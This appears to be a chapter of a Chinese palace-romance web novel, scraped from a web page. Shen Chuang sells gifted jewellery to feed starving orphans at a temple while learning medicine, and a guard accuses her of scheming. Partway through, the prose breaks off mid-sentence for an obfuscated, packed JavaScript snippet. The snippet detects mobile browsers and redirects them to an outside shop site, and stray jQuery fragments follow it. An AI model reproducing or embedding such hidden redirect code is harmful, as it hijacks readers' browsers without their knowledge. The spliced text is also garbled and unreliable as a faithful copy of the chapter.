40. 第 40 章

作品:《强取豪夺后他失忆了

    沈窗已经没了离开的心思,近来她与傅璋相处得很平和,她觉得自己算是他的外室,吃他的用他的,还得了羽林卫的保护,她已经打定主意安心留下,直到他厌了自己为止。


    她以为他现在至少还是有些留恋她的,他每日都来,即便近来她葵水来了,他什么也不能做。


    可他说若是她逃走,也不必见他,就地处决。


    沈窗不由得疑惑,她对他而言,到底是什么呢?


    但她很快就想通了,或许他有点喜欢她,但这点喜欢容不得她再有任何不忠。


    正好,沈窗没想逃跑,只是他让孙冰就地处决,看孙冰那令行禁止的样子,恐怕是真能做到,傅璋就不怕孙冰对她生歹心,以此来胁迫她么。


    沈窗见过了陆仪那样的狗东西,她对任何男人都心存警惕。


    是以第二日出门时,沈窗便跟他说好。


    “我不会逃的,只是怕万一走丢引起误会,请孙将军多带两个人随时跟着我。”沈窗道。


    孙冰没有犹豫便答应了。


    他的目光从不落在沈窗身上,即便是看她的身后,眼神也径直穿透她,只关注着周边的人。


    沈窗坐马车,外头孙冰和侍卫着便服走着,穿过闹市,很快到了谢迢的府邸。


    孙冰去扣门,回来说谢迢不在。


    沈窗让他招来奴仆,亲自说了几句,问出谢迢在哪里。


    那奴仆本不愿意说,是她打发了些钱财,他才殷勤说了。


    孙冰看见这一幕,目光驻足了一下,没有表示什么。


    问出谢迢在善慈寺,沈窗便让孙冰改道而去。


    善慈寺在上京之西,在西市不远,乱世初定,里头香火稀疏,乱世之中,神佛无用,存世的人都没了心思来祭拜。


    但这寺庙很大,正门大开,来来往往的人却络绎不绝。


    沈窗到时,下了马车,便被眼前的景象震了片刻。


    从门口来往的都是些衣衫褴褛的人,大多是身量未齐的半大孩子,还有些瘦骨嶙峋的老人,面色蜡黄的妇人。


    沈窗从马车里下来,便吸引了所有人的目光,她在孙冰等人护卫下走了进去,好不容易找到沙弥,问出谢迢何在。


    辗转穿过大半个寺院,路上所见流民七零八落,或坐或躺,一双双眼睛随着她而转,但年幼的孩子眼中有一丝好奇,但没有任何希冀。


    到了禅房外,主持守在外头,沈窗从门外看见谢迢果然在里头,她想进去,但主持要拦不拦的,被孙冰等人吓到,沈窗便在外等谢迢出来。


    一等便是半个时辰,沈窗不骄不躁,倒是孙冰脸色越来越不耐烦。


    谢迢终于出来,看见沈窗时凝重的脸色闪过一丝喜色。


    交谈之下,沈窗才知谢迢是来这寺庙里头给一个孩子治病的。


    “我最近日日来此给这些孩子治病,那天他也没说是你要找我,我没空,便没有去,你怎么寻到这里来了?”


    沈窗便说明来意:“我想拜先生为师,跟先生学医。”


    谢迢知道沈窗对医术有兴趣,但她寻到这里来,便不是有兴趣那么简单了。


    想到沈窗如今的身份,谢迢看了看她身边的几个侍卫,笑道,“我日日在此义诊,你要想学,来就是了。”


    沈窗求之不得,朝谢迢拱手行了一礼。


    谢迢没有说不收,但话里也没有要收的意思,让了让,避开了她的行礼。


    沈窗也不气馁,第二日当真备齐了拜师礼去了谢迢府上要拜师。


    她在傅璋走后便出了门,天色还很早,不想谢迢竟然已经出门去了善慈寺。


    沈窗寻过去,手中抱着盒子的手一紧。


    谢迢正与主持站在门口,门边躺着一个孩子,那孩子蜷缩成一团,已经没了温度。


    待沙弥将孩子用草席裹了抬走,沈窗才走上去。


    谢迢看见她来了,也提不起心情。


    沈窗不好提拜师的事,谢迢看见她手里抱着精美的漆盒,上头雕花繁复,黑漆油亮,红漆夺目。


    光这一个匣子便价值不菲,里头的拜师礼定是更加贵重。


    谢迢的手紧了紧,对她道:“你知道方才那孩子是得了什么病吗?”


    沈窗摇头。


    谢迢:“是穷病,他是冻死的,也可能是饿死的。”


    沈窗大震,她的手指紧了紧,缓缓垂了下去。


    寺庙内外还有许多孩子,个个脸色很脏,双眼无神,靠着挡风处,一动也不动。


    “我算得上医术高明了,但只能治一点伤病,这里每天都有人死在门槛上,我却一个都救不了,实在没心思去闻鹤园教你。”


    “我来这里学。”沈窗看着他道。


    谢迢顿了顿,问她:“你跟着殿下,不会有担心病痛的时候,更接触不到病患,学来做什么呢?”


    “医术自然是学来治病的。”沈窗道,“我无病无痛,可这里头,全是病患,请先生教我。”


    沈窗今日来拜师,刻意打扮过,身上的衣裳精美,戴着几样玉佩和玉簪,算不得华贵,但是淡然出尘,很是端庄清丽。


    加上她那张不惹凡俗的面容,此刻含着坚定的光,比先前所见像是换了个人。


    谢迢没有理由拒绝,便答应了。


    沈窗戴上面纱,将半张脸围了起来,跟着谢迢在寺里头转了大半日。


    她不说话也不擅自动手,就仔细观察着。


    寺庙里头的妇孺和老人都来了几日了,是从各处来这里躲避寒风的,寺庙里头香火稀少,主持心怀慈悲,但也只能提供一方屋檐,没有办法给他们食物。


    他们大多是白日出去讨饭,但上京也才重振太平不久,他们讨不到多少吃的,时常有饿死的妇人和老人。


    还有些生了病的,行动不便的,来寺里不久就死了,主持做些超度,但总是不忍,便去请了谢迢来医治。


    上京很大,善慈寺这样的寺庙很多,谢迢却只有一个,今早那个孩子,不知是如何被人赶走,爬到善慈寺求助,却在门口便没了气息。


    跟着谢迢一一查看寺里的流民,沈窗的心一直颤抖着没有停过。


    有母亲以血饲养不足岁的婴儿,有哥哥抱着奄奄一息的妹妹,还有祖孙两个靠在一起,谁也保护不了谁。


    谢迢救治他们的伤腿,诊治伤寒,体疮,他最终与主持商量,如何能让朝廷拿出粮食来救他们。


    主持年逾五十,瘦得皮包骨,听了谢迢的话叹了口气。


    “这些孩子还太小,那些老头也快入土了,你看成年的妇人都不多,如今朝廷的粮食自己都不够用,怎会拿来给这些没用的人。”主持声音悲凉,说完双手合十道了声阿弥陀佛。


    这自然是没有办法的。


    沈窗与谢迢也都沉默不语。


    时辰不早了,谢迢还要继续看,沈窗却必须回闻鹤了。


    沈窗对谢迢道别,他只嗯了一声,什么也没交代。


    沈窗回了闻鹤,在膳房里头,对着那些菜蔬和各色肉类出了许久的神。


    丫鬟们择菜,只掐出最幼嫩的地方来入肴,剩下的,还是碧绿的叶子都丢弃在竹筐里头。


    但沈窗知道,这些摘除的菜叶都做了菜,给丫鬟和侍卫吃了,傅璋偶尔剩下的饭菜也都极少浪费,算是下人们难得的加餐。


    天下初定,贵如太子也如此俭省,何况是别的人呢。


    傅璋已经做了很多了,他维持了归乡令,但凡有力气的人都回了家乡,今年有了收成,便是熬过了最难的时候。


    那些孤儿和老人是每个时代都会有的可怜人,只是乱世流离下多了些而已。


    面对这般困苦,他们过于弱小,甚至比当初的自己更加无力。


    沈窗动手做了精美的菜肴,看着时辰去了府门等傅璋回来。


    傅璋回来得很准时,沈窗传了膳,陪着他用饭,没有提及今日所见。


    她的葵水还没结束,傅璋今日倒没有要跟她一起睡,只是用了饭便走了。


    孙冰送他出去,一路说着话,傅璋头也没回便离去了。


    沈窗第二日照旧去了善慈寺,带着昨日那个匣子。


    她来得早,谢迢还没到。


    沈窗在马车里等着,让孙冰上来谈话。


    孙冰过了一会儿才上来,只在车门边站着。


    沈窗让他坐,他才坐下,只是靠着门边,浑身都紧绷着。


    高大的人弓着背恨不得缩成一团,沈窗却比他还不自在。


    “孙将军,你可娶妻了?”沈窗笑着问。


    “未曾。”孙冰沉声回答。


    “可有议亲?”


    “有未婚妻。”


    沈窗松了口气,问他对方是什么人。


    孙冰迟疑了片刻才回答,说是方家的姑娘。


    沈窗又问是如何认识的,婚期在何时。


    沈窗很是亲切的样子,像是关心又像是好奇。


    孙冰不想提自己的私事,回答得冷硬。


    沈窗也不尴尬,转而提到正事。


    “你护卫闻鹤园也快一个月了,你我日日见面,以后也要相伴一些日子,你快要成亲了,我这里有一件礼物送给方姑娘。”


    孙冰立刻想拒绝,但听沈窗又道,“这本是二爷送给我的。”


    孙冰拒绝的话梗在了喉咙。


    沈窗从腿上的匣子里拿出一方绢帕抱着的东西,打开在孙冰面前。


    是一枚精致的双鱼戏莲玉佩,玉质清透无暇,正中有一点绯色,被匠人因材施艺雕成了一只金鱼。


    独一无二,浑然天成。


    沈窗伸出手去,孙冰僵了片刻,双手接过。


    “愿你二人百年好合。”


    孙冰垂首道谢。


    沈窗这才提出要去西市逛逛。


    孙冰这下应得很快,看起来轻松了不少,起身掀开帘子眨眼便钻出了马车。


    到了西市,沈窗捧着那匣子,进了多家当铺和珠宝铺子,孙冰带着侍卫紧紧跟随,终于知道沈窗要做什么了。


    她那匣子里还有几样珠宝,都是金的,分量不轻,制作的技艺更是巧夺天工。


    她逛了许多铺子,不动声色对比问价,终于寻到了最高的出价。


    那掌柜对她的东西赞不绝口,沈窗带着幕篱,掌柜打量了她的穿着,又看了看跟着她的几个持剑的高个,识趣地没有打听珍宝的来历。


    但那铺子没有那么多现银,连银票全加上了也不够,沈窗便只卖了一样。


    虽然知道傅璋送的都是好东西,但谈下价格时,沈窗还是暗暗惊诧,只卖了一样,得到的这笔钱,若只论饮食,已经够她一辈子不挨饿了,沈窗心里欣喜,拿着巨额金银和银票,立刻去了粮店。


    如今民生凋敝,秋日虽然有了收成,但大多都是朝廷收走了,流到市场的不多,便贵得离谱。


    沈窗连着问了几家,都是差不多的价,她买得多也不能更便宜。


    沈窗也只能忍痛买下。


    让店家把粮食送到善慈寺,交给主持。


    她又去了菜市。


    粮食金贵,按说他们吃粥也能熬下去,她还是想买些菜。


    沈窗在马车里等来往行人将菜都买得差不多了,菜贩手里只剩下些成色不好的菜蔬,她才让孙冰去把那些菜全都买了,派人送到善慈寺去。


    沈窗到善慈寺去时,粮店的掌柜刚到,见了她便对她行礼,“原来姑娘买粮是为做善事,真是观音再世,姑娘心善呐。”


    沈窗说出让他粮食打个折,他却又只摸着鼻子笑。


    沈窗也不再说什么。主持知道是她送来的,忙对她行礼道阿弥陀佛。


    沈窗只平淡揭过,见谢迢混在沙弥中间搬东西,见了她走了过来。


    “这些是你买的,还是找傅二要的?”谢迢立刻问。


    沈窗说是自己出钱买的,谢迢的笑淡了下去。


    他不是没想过自己出钱赈济这些孩子,但他打听过粮价,实在是囊中羞涩,他本以为沈窗可以说动傅璋分拨一些粮食过来,没想到她竟然自掏腰包。


    而且看今日运来的粮食,她还挺有钱的。


    沈窗道:“都是二爷给我的,也算是二爷出了钱。”


    谢迢只讪讪笑了下。


    谢迢没有停留,与沙弥们合力将粮食运入寺庙里,起锅烧火做饭。


    沈窗让孙冰也派人去帮忙,她坐在佛堂里看着,孙冰和另外两人陪在左右。


    不一会儿便有米香飘出来,缩在佛堂内和禅房里的孩童都聚了过来。


    他们一个个盯着锅里的菜粥,不住吞咽空气,不敢相信自己能吃上,直到真的打在竹筒里头送到了他们手边。


    沈窗看到他们吃上,孙冰提醒她该走了。


    沈窗让他等等,看着每个人都领到了粥,等谢迢空了下来才去跟他道别。


    沈窗说她明日还来,谢迢点了点头。


    沈窗回到闻鹤园有些晚了,傅璋已经回来了,沈窗赶到观澜院,傅璋正在等她,见她来了也没责怪她。


    沈窗松了一口气,不多时孟蝶送了膳食来。


    傅璋用了饭便沐浴,沐浴完拉着沈窗便要亲。


    沈窗抵着他的胸口,“那个,还没完……”


    傅璋便抵着她的额头,“明日总可以了吧?”


    “不一定……”沈窗回他。


    傅璋捏了她一把,沈窗呼吸微乱,他坏笑一声,抱了一会儿就放开了。


    第二日沈窗带好了医书,送傅璋出门便立刻去了善慈寺。


    善慈寺上头的阴霾终于扫尽,里头的孩子活了过来,不再只靠在一处一动不动。


    他们看见沈窗来了,站起身来,却不好靠近她。


    沈窗也不多看她们,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598481|138115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    径直去寻谢迢。


    谢迢正在屋里医治病人,听说她来了,让她进去。


    沈窗进去,孙冰带了两人一起进去,谢迢皱了皱眉,没说什么。


    他在医治那日沈窗见到的那位母亲和婴孩儿。


    一边医治一边对沈窗讲解。


    “她这是食不果腹加上失血造成的虚劳之症,血虚,气虚,各种症状都有……”


    沈窗细细听着,拿出带着的医书来对照着看。


    谢迢开了药,沈窗给了钱让沙弥去买药。


    那位母亲虚弱不堪,孩子躺在她身旁,看着还健康,只不过也是脸颊瘦小。


    但眼睛大大的,昨日吃了粥,今日早上也吃得饱饱的,两只眼睛滴溜溜地转。


    母亲把她抱起来,走到沈窗身边。


    “恩人,请受民妇一拜。”她说着想下跪,沈窗伸手扶住了她。


    “举手之劳罢了,要谢也该谢谢先生。”沈窗道。


    妇人便要转向谢迢,谢迢却也不肯受。


    谢迢要查看孩子的身体,抱过来拎出小手,沈窗凑过去看。


    谢迢说着诊脉的结论,沈窗专心听着。


    那孩子忽然对着他们二人笑了,小嘴咧开,露出两颗细小的乳牙,发出咯咯声。


    谢迢跟着勾起嘴角,沈窗也笑得眉眼弯弯。


    他们两个凑得极近,看着那孩子笑的模样,让孙冰眉头飞快皱了一瞬。


    接下来一整日,孙冰将沈窗看得很紧,可说片刻不离他的视线,连她与谢迢说的话都一字不落。


    按沈窗的计算,凭她的几样珍宝,这寺庙里的孩子应当能熬过这个冬日了。


    谢迢也知她付出不少,决定传授她医术,不过不肯以师父自居,毕竟她是傅璋的人,以后身份恐怕难料,谢迢不想跟傅璋扯上什么严密的关系。


    沈窗便也不强求。


    谢迢在这寺里义诊时,沈窗便跟在旁边,谢迢诊病时耐心对她讲解,沈窗学得如饥似渴,孙冰提醒她两次,她才觉天色已晚该走了。


    刚走出禅房,忽然发现寺庙里头多了许多新面孔,大多是些面黄肌瘦的孩子。


    沈窗往外走,见还有更多的孩子从外面走进来,或是爬进来。


    上京城不知还有多少无家可归的孤儿,得知善慈寺在施粥,他们从四面八方涌了过来。


    沈窗几乎走不动道。


    她穿着特殊,赶来的孩子都眨巴着眼望着她,昨日买来的粮食,恐怕今晚就要耗尽。


    沈窗被人流包围,孙冰和侍卫大喝一声,将他们吓住了,开出一条道来,将沈窗隔出人群。


    沈窗望向他们,一张张稚气未脱的脸,看着她和檐下的谢迢等人,露出怯怯的神情,但暗藏闪烁的希冀。


    沈窗必须得走了,她选择了走后门,绕到马车上费了些时,一路紧赶慢赶抢在天黑时回到闻鹤。


    刚进门便听侍卫向孙冰汇报,“二爷回来过,很快又走了,请将军过去一趟。”


    沈窗顿了片刻,侍卫没话要对她说,沈窗便独自进了府门。


    -----


    得了传话,孙冰片刻不耽误,去马厩牵了马,驾马飞奔到了东宫。


    向理政殿递了话,孙冰很快得了传召。


    傅璋面色平常,里头还有封彻在,都看着他到来。


    孙冰阵仗倒是大,到了案前不等傅璋开口便单膝下跪,行了礼后双手捧出一方手绢和一枚玉佩。


    “殿下,这是沈姑娘送给末将的。”


    傅璋都愣住了,封彻则是看了看孙冰又看了看沈窗,心里惊讶这是什么情况。


    “她说是送给末将未婚妻,且说是二爷送给她的,所以末将没有当场拒绝。”孙冰昨日便想交给傅璋了,但昨日傅璋没有召见,他憋到了今日。


    傅璋还是寻常,孙冰将玉佩送到他面前,他认得,是他送的。


    他没在此事上深问,先问:“孤叫你来,是想知道她这两日做什么去了。”


    傅璋问起这个,孙冰动静更大了。


    “她带着殿下送的金镯子,跑遍了西市四处估价,卖了个高价,将卖得的钱买了天价的粮食送到善慈寺,讨好谢迢……”


    孙冰说得正义凛然,带着些抒发的畅快,一字一句恳切有力,仿佛在汇报战果。


    封彻听得眉头紧皱。


    傅璋也动了动眉头。


    “这两日,她都与谢迢寸步不离,举止亲密。”


    “这个,应是她想收买末将,好为她遮掩此事。”


    封彻心头大震,傅璋却越发平静。


    封彻知道他动气了,道:“沈姑娘不是这样的人,殿下莫动气。”


    “那她是什么样的人?”傅璋看向封彻。


    封彻垂首:“她送这样的东西,或许只是想与孙冰拉近关系。”


    “拉近关系?”傅璋冷笑,“你在闻鹤与她接触更多,她可送过你什么?”


    封彻脊背发凉,忙单膝跪地道:“没有过。”


    傅璋冷哼一声,问孙冰她是什么样的人。


    孙冰:“此女颇有心机,绝不像表面那般温良。”


    封彻再不敢接话。


    傅璋却没有要发落人的意思,他没那个闲工夫,眼下北海民乱越拖越长,传来的军报看似非常棘手,傅珪和龙武军将领产生了分歧,再没有进展,他恐怕还是得亲自去一趟。


    可朝局正在整顿的关键时候,他一时又走不开。


    两头都要抓,他忙得不可开交,有时通宵理政,只在回闻鹤园睡觉不觉是在浪费时间。


    昨日沈窗回来晚了,他不觉有什么大不了,加上两日未曾合眼,早早便睡了,一早走得也快,没来得及听孙冰汇报,没想到今日晚了半个时辰,他没有浪费时间,留话让孙冰回来后来见,便回了东宫。


    孙冰是封彻提拔来的,此时封彻不惜自打嘴巴也要与他相左,傅璋信任封彻,便也暂且压下不快,准备明日看看沈窗怎么说。


    傅璋让孙冰回去,告诉沈窗,明日天黑时在观澜院等着他。


    孙冰郑重领命而去。


    封彻看着他的背影,一时不知是自己看走了眼,还是孙冰所说当真是事实。


    傅璋没再提此事,封彻便也没再多言一个字。


    又是彻夜未眠,傅璋看了一夜朝中官吏,和手下幕僚的简册,梳理出了些东西,第二日又与卫子犀议事大半日,到了下午眯了会儿,天色还早时便回了闻鹤园。


    封彻跟着他回去。


    一路走到观澜院,沈窗没在里头,问了侍卫,得知她没在府里。


    傅璋望了望天色,天还没黑,他倒是不急。


    时间流逝,天色很快暗了下来,沈窗还没有要回来的意思。


    傅璋的脸色也跟天色一起暗了下来。


    他冷嗤一声,出了闻鹤,跨上飞星便去了善慈寺。